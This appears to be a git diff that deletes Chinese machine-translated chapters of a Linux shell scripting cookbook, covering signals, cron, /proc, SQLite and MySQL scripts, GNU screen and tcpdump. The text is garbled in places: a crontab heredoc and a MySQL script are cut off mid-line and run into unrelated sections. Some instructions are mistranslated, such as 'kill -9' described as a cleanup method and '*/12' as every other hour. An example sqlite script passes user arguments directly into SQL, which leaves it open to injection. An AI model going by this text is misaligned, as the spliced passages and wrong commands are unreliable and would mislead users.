我们经常对进程使用强制终止。小心使用。这是一个即时操作,它不会保存数据或执行正常的清理操作。先尝试`SIGTERM`信号;`SIGKILL`应保存为极端措施: - -```sh - $ kill -s SIGKILL PROCESS_ID - -``` - -或者,使用它来执行清理操作: - -```sh - $ kill -9 PROCESS_ID - -``` - -# 还有更多... - -Linux 支持其他命令来发出信号或终止进程。 - -# 杀戮家族的命令 - -`kill`命令以进程标识为参数。`killall`命令通过名称终止进程: - -```sh - $ killall process_name - -``` - -`-s`选项指定要发送的信号。默认情况下,`killall`发送`SIGTERM`信号: - -```sh - $ killall -s SIGNAL process_name - -``` - -`-9`选项通过名称强制终止进程: - -```sh - $ killall -9 process_name - -``` - -这是前面的一个例子: - -```sh - $ killall -9 gedit - -``` - -`-u`所有者指定流程的用户: - -```sh - $ killall -u USERNAME process_name - -``` - -`-I`选项使`killall run`处于交互模式: - -`pkill`命令类似于`kill`命令,但默认情况下,它接受进程名称而不是进程标识: - -```sh - $ pkill process_name - $ pkill -s SIGNAL process_name - -``` - -`SIGNAL`为信号编号。`pkill`不支持`SIGNAL`名称。`pkill`命令提供了许多与`kill`命令相同的选项。查看`pkill`手册页了解更多详情。 - -# 捕捉和响应信号 - -表现良好的程序保存数据,并在收到`SIGTERM`信号时干净地关闭。`trap`命令为脚本中的信号分配一个信号处理器。一旦使用`trap`命令将一个功能分配给一个信号,当脚本接收到一个信号时,该功能就被执行。 - -语法如下: - -```sh - trap 'signal_handler_function_name' SIGNAL LIST - -``` - -`SIGNAL LIST`用空格分隔。它可以包括信号编号和信号名称。 - -这个 shell 脚本响应`SIGINT`信号: - -```sh -#/bin/bash -#Filename: sighandle.sh -#Description: Signal handler - -function handler() -{ - echo Hey, received signal : SIGINT -} - -# $$ is a special variable that returns process ID of current -# process/script - -echo My process ID is $$ - -#handler is the name of the signal handler function for SIGINT signal -trap 'handler' SIGINT - -while true; -do - sleep 1 -done - -``` - -在终端中运行这个脚本。当脚本运行时,按下 *Ctrl* + *C* 将通过执行与之关联的信号处理程序来显示消息。 *Ctrl* + *C* 对应一个`SIGINT`信号。 - -`while`循环用于保持进程永远运行而不被终止。这样做是为了让脚本能够响应信号。保持一个过程无限活跃的循环通常被称为**事件循环**。 - -如果给出了脚本的进程 ID,`kill`命令可以向其发送信号: - -```sh - $ kill -s SIGINT PROCESS_ID - -``` - -执行前一个脚本时,将打印该脚本的进程标识;或者,您可以使用`ps`命令找到它。 - -如果没有为信号指定信号处理程序,脚本将调用操作系统分配的默认信号处理程序。一般按下 *Ctrl* + *C* 会终止一个程序,因为操作系统提供的默认处理程序会终止进程。这里定义的自定义处理程序覆盖默认处理程序。 - -我们可以使用`trap`命令为任何可用信号(`kill -l`)定义信号处理程序。一个信号处理器可以处理多个信号。 - -# 向用户终端发送消息 - -Linux 支持三个应用在另一个用户的屏幕上显示消息。`write`命令向用户发送消息,`talk`命令让两个用户对话,`wall`命令向所有用户发送消息。 - -在做一些有潜在破坏性的事情(比如重启服务器)之前,系统管理员应该向系统或网络上每个用户的终端发送一条消息。 - -# 准备好 - -`write`和`wall`命令是大多数 Linux 发行版的一部分。如果用户多次登录,您可能需要指定您希望向其发送消息的终端。 - -您可以使用`who`命令确定用户的终端: - -```sh - $> who - user1 pts/0 2017-01-16 13:56 (:0.0) - user1 pts/1 2017-01-17 08:35 (:0.0) - -``` - -第二列(`pts/#`)是用户的终端标识。 - -`write`和`wall`程序在单个系统上工作。`talk`程序可以通过网络连接用户。 - -talk 程序通常不安装。通话程序和通话服务器都必须安装并运行在任何使用通话的机器上。在基于 Debian 的系统上以`talk`和`talkd`的形式安装 talk 应用,或者在基于红帽的系统上以`talk`和`talk-server`的形式安装 talk 应用。您可能需要编辑`/etc/xinet.d/talk`和`/etc/xinet.d/ntalk`来将`disable`字段设置为`no`。完成后,重启`xinet`: - -```sh - # cd /etc/xinet.d - # vi ntalk - # cd /etc/init.d - #./xinetd restart - -``` - -# 怎么做... - -# 向一个用户发送一条消息 - -write 命令将向单个用户发送一条消息: - -```sh - $ write USERNAME [device] - -``` - -您可以从文件或回显中重定向消息,也可以交互写入。交互式写入以 Ctrl-D 结束 - -可以通过将伪终端标识符附加到命令来将消息定向到特定会话: - -```sh - $ echo "Log off now. I'm rebooting the system" | write user1 pts/3 - -``` - -# 与另一个用户保持对话 - -talk 命令打开两个用户之间的交互式对话。这个的语法是`$ talk user@host`。 - -下一个命令启动与用户 2 在工作站上的对话: - -```sh - $ talk user2@workstation2.example.com - -``` - -键入通话命令后,您的终端会话将被清除并分成两个窗口。在其中一个窗口中,您将看到如下文本: - -```sh - [Waiting for your party to respond] - -``` - -您试图与之交谈的人会看到这样的信息: - -```sh - Message from Talk_Daemon@workstation1.example.com - talk: connection requested by user1@workstation.example.com - talk: respond with talk user1@workstation1.example.com - -``` - -当他们调用 talk 时,他们的终端会话也将被清除和分割。您键入的内容将出现在他们屏幕上的一个窗口中,他们键入的内容将出现在您的屏幕上: - -```sh - I need to reboot the database server. - How much longer will your processing take? - --------------------------------------------- - 90% complete. Should be just a couple more minutes. - -``` - -# 向所有用户发送消息 - -**wall**(writell)命令向所有用户和终端会话广播一条消息: - -```sh - $ cat message | wall - -``` - -或者: - -```sh - $ wall < message - Broadcast Message from slynux@slynux-laptop - (/dev/pts/1) at 12:54 ... - - This is a message - -``` - -消息头显示谁发送了消息:哪个用户和哪个主机。 - -写、说和墙命令仅在启用写消息选项时在用户之间传递消息。无论写消息选项如何,都会显示来自根的消息。 - -通常会启用消息选项。`mesg`命令将启用或禁用消息接收: - -```sh - # enable receiving messages - $ mesg y - # disable receiving messages - $ mesg n - -``` - -# /proc 文件系统 - -`/proc`是一个内存中的伪文件系统,为用户提供了对 Linux 内核内部数据结构的空间访问。大多数伪文件都是只读的,但有些文件,如`/proc/sys/net/ipv4/forward`(在[第八章](08.html)、*老男孩网络*中描述的),可以用来微调您系统的行为。 - -# 怎么做... - -`/proc`目录包含多个文件和目录。您可以使用`cat`、`less`或`more`查看`/proc`及其子目录中的大多数文件。它们显示为纯文本。 - -系统上运行的每个进程在`/proc`中都有一个目录,根据进程的 PID 命名。 - -假设 Bash 运行的是 PID`4295`(`pgrep bash`);在这种情况下,`/proc/4295`就会存在。该文件夹将包含有关该过程的信息。`/proc/PID`下的文件包括: - -* `environ`:包含与流程相关的环境变量。`cat /proc/4295/environ`将显示传递给流程的环境变量`4295`。 -* `cwd`:这是流程工作目录的`symlink`。 -* `exe`:这是对流程可执行文件的`symlink`: - -```sh - $ readlink /proc/4295/exe - /bin/bash - -``` - -* `fd`:这是由进程使用的文件描述符的条目组成的目录。值 0、1 和 2 分别是 stdin、stdout 和 stderr。 -* `io`:该文件显示进程读取或写入的字符数。 - -# 收集系统信息 - -描述一个计算机系统需要许多数据集。这些数据包括网络信息、主机名、内核版本、Linux 发行版名称、CPU 描述、内存分配、磁盘分区等。可以从命令行检索这些信息。 - -# 怎么做... - -1. `hostname`和`uname`命令打印当前系统的主机名: - -```sh - $ hostname - -``` - -或者,他们打印以下内容: - -```sh - $ uname -n - server.example.com - -``` - -2. `uname`的`-a`选项打印关于 Linux 内核版本、硬件架构等的详细信息: - -```sh - $ uname -a - server.example.com 2.6.32-642.11.1.e16.x86_64 #1 SMP Fri Nov 18 - 19:25:05 UTC 2016 x86_64 x86_64 GNU/Linux - -``` - -3. `-r`选项将报告限制在内核版本: - -```sh - $ uname -r - 2.6.32-642.11.1.e16.x86_64 - -``` - -4. `-m`选项打印机器类型: - -```sh - $ uname -m - x86_64 - -``` - -5. `/proc/`目录保存关于系统、模块和运行进程的信息。`/proc/cpuinfo`包含 CPU 详细信息: - -```sh - $ cat /proc/cpuinfo - processor : 0 - vendor_id : GenuineIntel - cpu family : 6 - model : 63 - model name : Intel(R)Core(TM)i7-5820K CPU @ 3.30GHz - ... - -``` - -如果处理器有多个内核,这些线将重复 n 次。要仅提取一项信息,请使用`sed`。第五行包含处理器名称: - -```sh - $ cat /proc/cpuinfo | sed -n 5p - Intel(R)CORE(TM)i7-5820K CPU @ 3.3 GHz - -``` - -6. `/proc/meminfo`包含有关内存和当前内存使用情况的信息: - -```sh - $ cat /proc/meminfo - MemTotal: 32777552 kB - MemFree: 11895296 kB - Buffers: 634628 kB - ... - -``` - -`meminfo`第一行显示系统总内存: - -```sh - $ cat /proc/meminfo | head -1 - MemTotal: 1026096 kB - -``` - -7. `/proc/partitions`描述磁盘分区: - -```sh - $ cat /proc/partitions - major minor #blocks name - 8 0 976762584 sda - 8 1 512000 sda1 - 8 2 976248832 sda2 - ... - -``` - -`fdisk`程序编辑磁盘的分区表,并报告当前的分区表。作为`root`运行该命令: - -```sh - $ sudo fdisk -l - -``` - -8. `lshw`和`dmidecode`应用生成关于您的系统的长而完整的报告。该报告包括有关主板、基本输入输出系统、中央处理器、内存插槽、接口插槽、磁盘等的信息。这些必须以 root 用户身份运行。`dmidecode`是常用的,但是你可能需要安装`lshw`: - -```sh - $ sudo lshw - description: Computer - product: 440BX - vendor: Intel - ... - - $ sudo dmidecode - SMBIOS 2.8 present - 115 structures occupying 4160 bytes. - Table at 0xDCEE1000. - - BIOS Information - Vendor: American Megatrends Inc - ... - -``` - -# 与 cron 一起计划 - -GNU/Linux 系统支持几种调度任务的实用程序。`cron`效用是最广泛支持的。它允许您定期安排任务在后台运行。`cron`实用程序使用一个表(crontab),其中包含要执行的脚本或命令的列表以及它们的执行时间。 - -Cron 用于安排系统内务处理任务,例如执行备份、将系统时钟与`ntpdate`同步以及删除临时文件。 - -普通用户可以使用`cron`来安排互联网下载在深夜进行,此时他们的互联网服务提供商允许下载上限,并且可用带宽较高。 - -# 准备好 - -所有 GNU/Linux 发行版都附带了`cron`调度实用程序。它扫描`cron`表以确定命令是否要运行。每个用户都有自己的`cron`表,这是一个纯文本文件。`crontab`命令操纵`cron`表。 - -# 怎么做... - -`crontab`条目指定执行命令的时间和要执行的命令。`cron`表中的每一行定义一个命令。该命令可以是脚本或二进制应用。当`cron`运行一个任务时,它作为创建条目的用户运行,但是它并不来源于用户的`.bashrc`。如果任务需要环境变量,它们必须在`crontab`中定义。 - -每个 cron 表行由六个空格分隔的字段组成,顺序如下: - -* `Minute` (0 - 59) -* `Hour` (0 - 23) -* `Day` (1 - 31) -* `Month` (1 - 12) -* `Weekday` (0 - 6) -* `COMMAND`(要在指定时间执行的脚本或命令) - -前五个字段指定执行命令实例的时间。多个值由逗号分隔(没有空格)。一颗星表示任何时间或任何一天都匹配。一个分割标志安排事件触发每/Y 间隔 *(*/5* 以分钟为单位表示每五分钟一次)。 - -1. 在所有日期所有时间的第 2分钟执行`test.sh`脚本: - -```sh - 02 * * * * /home/slynux/test.sh - -``` - -2. 在所有日期的第 5 个、第 6 个和第 7 个小时执行**测试。** - -```sh - 00 5,6,7 * * /home/slynux/test.sh - -``` - -3. 周日每隔一小时执行`script.sh`: - -```sh - 00 */2 * * 0 /home/slynux/script.sh - -``` - -4. 每天凌晨 2 点关闭电脑: - -```sh - 00 02 * * * /sbin/shutdown -h - -``` - -5. `crontab`命令可以交互使用,也可以与预先写好的文件一起使用。 - -使用带有`crontab`的`-e`选项编辑`cron`表格: - -```sh - $ crontab -e - 02 02 * * * /home/slynux/script.sh - -``` - -当输入`crontab -e`时,默认文本编辑器(通常为`vi`)打开,用户可以输入`cron`作业并保存。`cron`作业将按指定的时间间隔进行调度和执行。 - -6. 可以从脚本中调用`crontab`命令,用新的 crontab 替换当前的 crontab。你是这样做的: - * 创建一个包含`cron`作业的文本文件(例如`task.cron`,然后使用该文件名作为命令参数运行`crontab`: - -```sh - $ crontab task.cron - -``` - -* 或者,将`cron`作业指定为内联函数,而不创建单独的文件。例如,请参考以下内容: - -```sh - $ crontab<分钟和第 10分钟运行命令,请在`Minute`字段中输入`5,10`。斜线(除以)符号将导致命令按照时间分割运行。例如,“分钟”字段中的 0-30/6 将在每小时的前半部分每 5 分钟运行一次命令。小时字段中的字符串`*/12`将每隔一小时运行一个命令。 - -Cron 作业作为创建`crontab`的用户执行。如果需要执行需要更高权限的命令,如关闭计算机,以 root 用户身份运行`crontab`命令。 - -cron 作业中指定的命令用命令的完整路径写入。这是因为 cron 并不是你的`.bashrc`的来源,所以执行 cron 作业的环境与我们在终端上执行的 bash shell 是不同的。因此,`PATH`环境变量可能没有设置。如果您的命令需要某些环境变量,则必须显式设置它们。 - -# 还有更多... - -`crontab`命令有更多选项。 - -# 指定环境变量 - -许多命令需要正确设置环境变量才能执行。cron 命令将 SHELL 变量设置为`"/bin/sh` `"`,并且还从`/etc/passwd`中的值设置`LOGNAME`和`HOME`。如果需要其他变量,可以在`crontab`中定义。这些可以为所有任务定义,也可以为单个任务单独定义。 - -如果定义了`MAILTO`环境变量,`cron`将通过电子邮件向该用户发送命令输出。 - -`crontab`通过在用户的`cron`表中插入一行变量赋值语句来定义环境变量。 - -下面的`crontab`定义了一个`http_proxy`环境变量,使用代理服务器进行互联网交互: - -```sh - http_proxy=http://192.168.0.3:3128 - MAILTO=user@example.com - 00 * * * * /home/slynux/download.sh - -``` - -这种格式受到`vixie-cron`的支持,用于 Debian、Ubunto 和 CentOS 发行版。对于其他发行版,可以根据每个命令定义环境变量: - -```sh - 00 * * * * http_proxy=http:192.168.0.2:3128; - /home/sylinux/download.sh - -``` - -# 在系统启动时运行命令 - -在系统启动(或引导)时运行特定命令是常见的要求。一些`cron`实现支持`@reboot`时间字段,以便在重启过程中运行作业。请注意,并非所有的`cron`实现都支持该功能,并且在某些系统上只允许 root 用户使用该功能。现在查看以下代码: - -```sh - @reboot command - -``` - -这将在运行时以用户身份运行命令。 - -# 查看 cron 表 - -crontab 的`-l`选项将列出当前用户的 crontab: - -```sh - $ crontab -l - 02 05 * * * /home/user/disklog.sh - -``` - -添加`-u`选项将指定用户的 crontab 进行查看。您必须以超级用户身份登录才能使用`-u`选项: - -```sh - # crontab -l -u slynux - 09 10 * * * /home/slynux/test.sh - -``` - -# 正在删除 cron 表 - -`-r`选项将删除当前用户的 cron 表: - -```sh - $ crontab -r - -``` - -`-u`选项指定要删除的 crontab。您必须是根用户才能删除其他用户的 crontab: - -```sh - # crontab -u slynux -r - -``` - -# 数据库样式和用途 - -Linux 支持多种风格的数据库,从简单的文本文件(`/etc/passwd`)到低级别的 B-Tree 数据库(Berkely DB 和 bdb)、轻量级 SQL(SQL lite)以及功能齐全的关系数据库服务器,如 Postgres、Oracle 和 MySQL。 - -选择数据库样式的一个经验法则是使用对您的应用来说最简单的系统。当字段已知且固定时,一个文本文件和`grep`对于一个小数据库就足够了。 - -有些应用需要参考。例如,图书和作者的数据库应该创建两个表,一个用于图书,一个用于作者,以避免每本书的作者信息重复。 - -如果表被读取的次数比被修改的次数多,那么 SQLite 是一个不错的选择。这个数据库引擎不需要服务器,这使得它可以移植并很容易嵌入到另一个应用中(就像火狐一样)。 - -如果数据库经常被多个任务修改(例如,一个网络商店的库存系统),那么其中一个关系数据库管理系统(如 Postgres、Oracle 或 MySQL)是合适的。 - -# 准备好 - -您可以使用标准 Shell 工具创建基于文本的数据库。默认情况下通常安装 SqlLite 可执行文件为`sqlite3`。您需要安装 MySQL、Oracle 和 Postgres。下一节将解释如何安装 MySQL。你可以从 www.oracle.com 下载甲骨文。Postgres 通常可以通过您的包管理器获得。 - -# 怎么做... - -文本文件数据库可以用常用的 shell 工具来构建。 - -要创建地址列表,请创建一个文件,每个地址一行,字段用已知字符分隔。在这种情况下,字符是波浪号(`~`): - -```sh - first last~Street~City, State~Country~Phone~ - -``` - -例如: - -```sh - Joe User~123 Example Street~AnyTown, District~1-123-123-1234~ - -``` - -然后添加一个函数来查找匹配模式的行,并将每一行翻译成人性化的格式: - -```sh - function addr { - grep $1 $HOME/etc/addr.txt | sed 's/~/\n/g' - } - -``` - -使用时,类似于以下内容: - -```sh - $ addr Joe - Joe User - 123 Example Street - AnyTown District - 1-123-123-1234 - -``` - -# 还有更多... - -SQLite、Postgres、Oracle 和 MySQL 数据库应用提供了一种更强大的数据库范例,称为关系数据库。关系数据库存储表之间的关系,例如,一本书和它的作者之间的关系。 - -与关系数据库交互的一种常见方式是使用 SQL。SQLite、Postgres、Oracle、MySQL 和其他数据库引擎都支持这种语言。 - -SQL 是一种丰富的语言。你可以读专门关于它的书。幸运的是,您只需要几个命令就可以有效地使用 SQL。 - -# 创建表格 - -表格由`CREATE TABLE`命令定义: - -```sh - CREATE TABLE tablename (field1 type1, field2 type2,...); - -``` - -下一行创建一个图书和作者表: - -```sh - CREATE TABLE book (title STRING, author STRING); - -``` - -# 将行插入到 SQL 数据库中 - -insert 命令将向数据库中插入一行数据。 - -```sh - INSERT INTO table (columns) VALUES (val1, val2,...); - -``` - -以下命令插入您当前正在阅读的书籍: - -```sh - INSERT INTO book (title, author) VALUES ('Linux Shell Scripting - Cookbook', 'Clif Flynt'); - -``` - -# 从 SQL 数据库中选择行 - -select 命令将选择与测试匹配的所有行: - -```sh - SELECT fields FROM table WHERE test; - -``` - -该命令将从图书表中选择包含单词“Shell”的图书标题: - -```sh - SELECT title FROM book WHERE title like '%Shell%'; - -``` - -# 写入和读取 SQLite 数据库 - -SQLite 是一个轻量级数据库引擎,用于从安卓应用和火狐到美国海军库存系统的应用。由于使用范围广,运行 SQLite 的应用比任何其他数据库都多。 - -SQLite 数据库是由一个或多个数据库引擎访问的单个文件。数据库引擎是一个可以链接到应用的 C 库;它作为一个库被加载到脚本语言中,如 TCL、Python 或 Perl,或者作为一个独立的程序运行。 - -独立应用 sqlite3 最容易在 shell 脚本中使用。 - -# 准备好了 - -您的安装中可能没有安装`sqlite3`可执行文件。如果不是,可以用你的包管理器加载`sqlite3`包进行安装。 - -对于 Debian 和 Ubuntu,使用以下内容: - -```sh - apt-get install sqlite3 libsqlite3-dev - -``` - -对于红帽、SuSE、软呢帽和 Centos,请使用以下选项: - -```sh - yum install sqlite sqlite-devel - -``` - -# 怎么做... - -`sqlite3`命令是一个连接到 SQLite 数据库的交互式数据库引擎,支持创建表、插入数据、查询表等过程。 - -`sqlite3`命令的语法是这样的: - -```sh - sqlite3 databaseName - -``` - -如果`databaseName`文件存在,`sqlite3`将打开它。如果文件不存在,`sqlite3`将创建一个空数据库。在这个配方中,我们将创建一个表,插入一行,并检索该条目: - -```sh - # Create a books database - $ sqlite3 books.db - sqlite> CREATE TABLE books (title string, author string); - sqlite> INSERT INTO books (title, author) VALUES ('Linux Shell - Scripting Cookbook', 'Clif Flynt'); - sqlite> SELECT * FROM books WHERE author LIKE '%Flynt%'; - Linux Shell Scripting Cookbook|Clif Flynt - -``` - -# 它是如何工作的... - -`sqlite3`应用创建一个名为`books.db`的空数据库,并显示`sqlite> prompt`来接受 SQL 命令。 - -`CREATE TABLE`命令创建一个包含两个字段的表格:标题和作者。 - -`INSERT`命令将一本书插入数据库。SQL 中的字符串用单引号分隔。 - -`SELECT`命令检索与测试匹配的行。百分比符号(`%`)是 SQL 通配符,类似于 Shell 中的星号(`*`)。 - -# 还有更多... - -shell 脚本可以使用`sqlite3`访问数据库,并提供简单的用户界面。下一个脚本用`sqlite`而不是平面文本文件来实现上一个地址数据库。它提供了三个命令: - -* `init`:这是创建数据库 -* `insert`:这是新增一行 -* `query`:这是选择匹配查询的行 - -在使用中,它看起来像这样: - -```sh - $> dbaddr.sh init - $> dbaddr.sh insert 'Joe User' '123-1234' 'user@example.com' - $> dbaddr.sh query name Joe - Joe User - 123-1234 - user@example.com - -``` - -以下脚本实现了这个数据库应用: - -```sh - #!/bin/bash - # Create a command based on the first argument - - case $1 in - init ) - cmd="CREATE TABLE address \ - (name string, phone string, email string);" ;; - query ) - cmd="SELECT name, phone, email FROM address \ - WHERE $2 LIKE '$3';";; - insert ) - cmd="INSERT INTO address (name, phone, email) \ - VALUES ( '$2', '$3', '$4' );";; - esac - - # Send the command to sqlite3 and reformat the output - - echo $cmd | sqlite3 $HOME/addr.db | sed 's/|/\n/g' - -``` - -该脚本使用 case 语句来选择 SQL 命令字符串。其他命令行参数用该字符串替换,该字符串被发送到`sqlite3`进行计算。`$1`、`$2`、`$3`和`$4`分别是剧本的第一、第二、第三和第四个论点。 - -# 从 Bash 中读写 MySQL 数据库 - -MySQL 是一个广泛使用的数据库管理系统。2009 年,甲骨文收购了 SUN,并以此收购了 MySQL 数据库。马里亚数据库包是独立于甲骨文的 MySQL 包的一个分支。MariaDB 可以访问 MySQL 数据库,但是 MySQL 引擎不能总是访问 MariaDB 数据库。 - -MySQL 和 MariaDB 都有许多语言的接口,包括 PHP、Python、C++、Tcl 等等。他们都使用`mysql`命令来提供一个交互会话,以便访问数据库。这是 shell 脚本与 MySQL 数据库交互的最简单方式。这些例子应该适用于 MySQL 或 MariaDB。 - -bash 脚本可以将文本或**逗号分隔值** ( **CSV** )文件转换为 MySQL 表和行。例如,我们可以通过运行 shell 脚本中的查询来读取留言簿程序数据库中存储的所有电子邮件地址。 - -下一组脚本演示了如何将文件的内容插入到学生的数据库表中,并生成报告,同时对系内的每个学生进行排名。 - -# 准备好 - -MySQL 和 MariaDB 并不总是出现在基本的 Linux 发行版中。它们既可以作为`mysql-server`和`mysql-client`安装,也可以作为`mariadb-server`套装安装。MariaDB 发行版使用 MySQL 作为命令,有时在请求 MySQL 包时安装。 - -MySQL 支持用户名和密码进行身份验证。安装过程中会提示您输入密码。 - -使用`mysql`命令在全新安装上创建新数据库。使用`CREATE DATABASE`命令创建数据库后,可以选择它与 use 命令一起使用。选择数据库后,可以使用标准的 SQL 命令来创建表和插入数据: - -```sh -$> mysql -user=root -password=PASSWORD - -Welcome to the MariaDB monitor. Commands end with ; or \g. -Your MariaDB connection id is 44 -Server version: 10.0.29-MariaDB-0+deb8u1 (Debian) - -Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - -MariaDB [(none)]> CREATE DATABASE test1; -Query OK, 1 row affected (0.00 sec) -MariaDB [(none)]> use test1; - -``` - -`quit`命令或 Ctrl-D 将终止`mysql`交互会话。 - -# 怎么做... - -这个食谱由三个脚本组成:一个创建数据库和表格,一个插入学生数据,一个从表格中读取和显示数据。 - -创建数据库和表脚本: - -```sh -#!/bin/bash -#Filename: create_db.sh -#Description: Create MySQL database and table - -USER="user" -PASS="user" - -mysql -u $USER -p$PASS < /dev/null -CREATE DATABASE students; -EOF - -[ $? -eq 0 ] && echo Created DB || echo DB already exist -mysql -u $USER -p$PASS students < /dev/null -CREATE TABLE students( -id int, -name varchar(100), -mark int, -dept varchar(4) -); -EOF - -[ $? -eq 0 ] && echo Created table students || \ - echo Table students already exist - -mysql -u $USER -p$PASS students <step1.xwd - -``` - -ImageMagick 的`import`命令支持更多截图选项: - -要截图整个屏幕,请使用以下命令: - -```sh - $ import -window root screenshot.png - -``` - -您可以手动选择一个区域,并使用以下命令截图: - -```sh - $ import screenshot.png - -``` - -要拍摄特定窗口的屏幕截图,请使用以下命令: - -```sh - $ import -window window_id screenshot.png - -``` - -`xwininfo`命令将返回一个窗口标识。运行该命令,然后单击所需的窗口。然后,将此`window_id`值传递给`import`的`-window`选项。 - -# 从一个终端管理多个终端 - -SSH 会话、Konsoles 和 xterms 是您想要长时间运行的应用的重量级解决方案,但是它们很少执行检查(例如监控日志文件或磁盘使用情况)。 - -GNU 屏幕实用程序在终端会话中创建多个虚拟屏幕。当屏幕隐藏时,您在虚拟屏幕中启动的任务会继续运行。 - -# 准备好 - -为此,我们将使用名为 **GNU 屏幕**的实用程序。如果默认情况下屏幕没有安装在您的发行版上,请使用软件包管理器进行安装: - -```sh - apt-get install screen - -``` - -# 怎么做... - -1. 一旦屏幕实用程序创建了一个新窗口,所有的击键都指向该窗口中运行的任务,除了控制-A ( *Ctrl* - *A* ,这标志着屏幕命令的开始。 -2. **创建屏幕窗口**:要创建新屏幕,请从 shell 运行命令屏幕。您将看到一条欢迎消息,其中包含有关屏幕的信息。按空格键或回车返回 Shell 提示。要创建新的虚拟终端,请按 *Ctrl* + *A* ,然后按 *C* (这些区分大小写)或再次键入屏幕。 -3. **查看打开窗口列表**:运行屏幕时,按下 *Ctrl* + *A* 后跟一个引号(`"`)将列出您的终端会话。 - -4. **窗口间切换**:击键 *Ctrl* + *A* 和 *Ctrl* + *N* 显示下一个窗口, *Ctrl* + *A* 和 *Ctrl* + *P* 显示上一个窗口。 -5. **连接和分离屏幕**:屏幕命令支持保存和加载屏幕会话,在屏幕术语中称为分离和连接。要退出当前屏幕会话,请按 *Ctrl* + *A* 和 *Ctrl* + *D* 。要在启动屏幕时附加到现有屏幕,请使用: - -```sh - screen -r -d - -``` - -6. 这告诉屏幕附加最后一个屏幕会话。如果您有多个分离的会话,屏幕将输出一个列表;然后使用: - -```sh - screen -r -d PID - -``` - -这里,`PID`是要附加的屏幕会话的 PID。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/11.md b/docs/linux-shell-script-cb/11.md deleted file mode 100644 index 16993119..00000000 --- a/docs/linux-shell-script-cb/11.md +++ /dev/null @@ -1,520 +0,0 @@ -# 十一、追踪线索 - -在本章中,我们将涵盖以下主题: - -* 用`tcpdump`跟踪数据包 -* 寻找带`ngrep`的包 -* 用`ip`追踪网络路线 -* 用`strace`追踪系统调用 -* 用`ltrace`跟踪动态库函数 - -# 介绍 - -没有任何事情会消失得无影无踪。在 Linux 系统上,我们可以通过[第 9 章](09.html)、*中讨论的日志文件来跟踪事件。`top`命令显示哪些程序使用最多的 CPU 时间,`watch`、`df`和`du`让我们监控磁盘使用情况。* - -本章将介绍获取有关网络数据包、CPU 使用、磁盘使用和动态库调用的更多信息的方法。 - -# 用 tcpdump 跟踪数据包 - -仅仅知道哪些应用正在使用给定的端口可能不足以跟踪问题。有时,您还需要检查正在传输的数据。 - -# 准备好 - -你需要是根用户才能运行`tcpdump`。默认情况下,`tcpdump`应用可能不会安装在您的系统中。因此,使用您的软件包管理器安装它: - -```sh -$ sudo apt-get install tcpdump -$ sudo yum install libpcap tcpdump - -``` - -# 怎么做... - -`tcpdump`应用是 Wireshark 和其他网络嗅探器程序的前端。图形用户界面支持我们稍后将描述的许多选项。 - -该应用的默认行为是显示在主以太网链路上看到的每个数据包。数据包报告的格式如下: - -```sh - TIMESTAMP SRC_IP:PORT > DEST_IP:PORT: NAME1 VALUE1, NAME2 VALUE2,... - -``` - -名称-值对包括: - -* `Flags`:与此数据包相关的标志如下: - -* `seq`:这是指数据包的序列号。它将在确认中回应,以识别被确认的数据包。 -* `ack`:表示收到数据包的确认。该值是前一个数据包的序列号。 -* `win`:表示目的地的缓冲区大小。 -* `options`:这是指为此数据包定义的 TCP 选项。它被报告为一组逗号分隔的键值对。 - -下面的输出显示了从一台 Windows 计算机到 SAMBA 服务器的请求与一个 DNS 请求的混合。来自不同来源和应用的不同数据包的混合使得很难跟踪给定主机上的特定应用或流量。然而,`tcpdump`命令有让我们的生活更轻松的标志: - -```sh -$ tcpdump -22:00:25.269277 IP 192.168.1.40.49182 > 192.168.1.2.microsoft-ds: Flags [P.], seq 3265172834:3265172954, ack 850195805, win 257, length 120SMB PACKET: SMBtrans2 (REQUEST) -22:00:25.269417 IP 192.168.1.44.33150 > 192.168.1.7.domain: 13394+ PTR? 2.1.168.192.in-addr.arpa. (42) -22:00:25.269917 IP 192.168.1.2.microsoft-ds > 192.168.1.40.49182: Flags [.], ack 120, win 1298, length 0 -22:00:25.269927 IP 192.168.1.2.microsoft-ds > 192.168.1.40.49182: Flags [P.], seq 1:105, ack 120, win 1298, length 104SMB PACKET: SMBtrans2 (REPLY) - -``` - -`-w`标志将`tcpdump`输出发送到文件,而不是终端。输出格式为二进制形式,可通过`-r`标志读取。嗅探数据包必须以 root 权限完成,但是显示以前保存的文件的结果可以以普通用户的身份完成。 - -默认情况下,`tcpdump`运行并收集数据,直到使用 Ctrl-C 或 **SIGTERM** 将其杀死。`-c`标志限制数据包的数量: - -```sh -# tcpdump -w /tmp/tcpdump.raw -c 50 -tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes -50 packets captured -50 packets received by filter -0 packets dropped by kernel - -``` - -通常,我们希望检查单个主机上的活动,可能是单个应用。 - -`tcpdump`命令行的最后一个值组成了一个表达式,帮助我们过滤数据包。表达式是一组带有修饰符和布尔运算符的键值对。接下来的食谱演示了如何使用过滤器。 - -# 仅显示 HTTP 数据包 - -`port`键仅显示发送到或来自给定端口的数据包: - -```sh -$ tcpdump -r /tmp/tcpdump.raw port http -reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) -10:36:50.586005 IP 192.168.1.44.59154 > ord38s04-in-f3.1e100.net.http: Flags [.], ack 3779320903, win 431, options [nop,nop,TS val 2061350532 ecr 3014589802], length 0 - -10:36:50.586007 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59152: Flags [.], ack 1, win 350, options [nop,nop,TS val 3010640112 ecr 2061270277], length 0 - -``` - -# 仅显示由此主机生成的 HTTP 数据包 - -如果您试图跟踪网络上的网络使用情况,您可能只需要查看站点上生成的数据包。`src`修饰符在源文件中只指定这些具有给定值的数据包。`dst`修改器仅指定目的地: - -```sh -$ tcpdump -r /tmp/tcpdump.raw src port http -reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) - -10:36:50.586007 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59152: Flags [.], ack 1, win 350, options [nop,nop,TS val 3010640112 ecr 2061270277], length 0 -10:36:50.586035 IP ord38s04-in-f3.1e100.net.http > 192.168.1.44.59150: Flags [.], ack 1, win 350, options [nop,nop,TS val 3010385005 ecr 2061270277], length 0 - -``` - -# 查看数据包有效负载和报头 - -如果你需要追踪淹没网络的主机,你只需要标题。如果您试图调试 web 或数据库应用,您可能需要查看数据包的内容以及报头。 - 